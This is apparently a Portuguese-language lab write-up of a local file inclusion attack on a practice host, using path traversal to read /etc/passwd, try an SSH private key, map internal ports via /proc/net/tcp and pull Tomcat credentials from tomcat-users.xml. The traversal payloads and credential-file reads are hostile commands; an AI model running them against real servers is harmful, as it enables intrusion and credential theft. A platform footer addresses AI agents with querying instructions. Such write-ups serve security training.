> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# Credenciais Tomcat via LFI

## LFI:

Acesso ao arquivo vulnerável `new.php` por meio de uma variável `?file` na pasta `instrução`.

<figure><img src="/files/f708ef3f1c3cfc0b0ed04bab0919ebe6647c1036" alt=""><figcaption></figcaption></figure>

**Teste de inclusão local de arquivo (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/94b5c4eba445e108aae14ac3067a35f97bcbc690" alt=""><figcaption></figcaption></figure>

* **Resultado:** Acesso ao arquivo `/etc/passwd`, revelando dois usuários: `ash` e `root`. **Tentativa de acessar a chave privada SSH de Ash**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **Resultado:** Acesso negado.

<figure><img src="/files/7616cb0fc179f5ecd2abf4cbd0e931fdb457b6a9" alt=""><figcaption></figcaption></figure>

**Pesquisar portas internas** via `/proc/net/tcp` para identificar serviços ocultos:

<figure><img src="/files/3135b26136380c7c9b4f23537e2f22743b799155" alt=""><figcaption></figcaption></figure>

**Pesquisar portas internas** via `/proc/net/tcp` para identificar serviços ocultos:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # Obtenha o campo local_address
    split($2, addr_port, ":");
    # Converta o endereço para o formato IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # Converta a porta para decimal
    port = strtonum("0x" addr_port[2]);
    # Exiba o resultado no formato IP:Porta
    printf "%s:%d/n", ip, port;
}'

```

**Resultado:** Descoberta da porta interna `34650`

<figure><img src="/files/68c7c8f2ca669fc1534ffb398ba69bedf5f7dfed" alt="" width="563"><figcaption></figcaption></figure>

### **Exploração do Virtual Host Manager do Tomcat (porta 8080)**

**Acesso ao Tomcat** pela porta 8080 e buscando informações de autenticação. Por padrão, elas são armazenadas em `/etc/tomcat9/tomcat-users.xml`  ou `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/f1f028b36f59e981a8a0090e50fc5123481ec20d" alt=""><figcaption></figcaption></figure>

**Credenciais** encontrados: `nome de usuário = tomcat` `senha = $3cureP4s5w0rd123!`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
